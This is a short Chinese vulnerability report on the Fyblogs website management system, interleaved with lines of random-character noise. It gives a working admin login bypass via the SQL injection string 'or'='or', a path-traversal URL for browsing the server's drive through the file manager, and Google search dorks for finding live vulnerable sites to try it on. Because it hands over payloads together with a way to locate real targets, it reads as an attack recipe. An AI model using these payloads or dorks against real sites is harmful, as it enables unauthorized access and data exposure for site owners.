Fyblogs网站管理系统漏洞

admin

漏洞类型： 未授权访问/权限绕过
" }2 W. K* P* R3 [" S5 v: c
/ _9 u9 R  e. H. g6 i+ h3 y简要描述：
& c- y  u2 s& ~8 }3 _& M6 A
Fyblogs网站管理系统,，后台存在万能密码，后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露！
% k- R" l6 ^0 z6 W! U
: v$ [+ v9 F& v8 d" G7 \5 f详细说明：
, Y. r+ P1 O* Q  T  r# W7 Y/ `
; v3 J- l# {7 r  Z8 A后台万能密码 'or'='or'
后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露！
admin/uploadfile.asp?currentFolder=/upfiles/../

漏洞证明：

谷歌：inurl:type.asp?id=1 新闻中心
或者 ：inurl:download_ok.asp?

& S6 p8 l& w( }9 Z% O3 z可以测试
- v0 s& |) |  h3 L. f6 d9 \6 f
9 L0 i3 N$ _  U; I​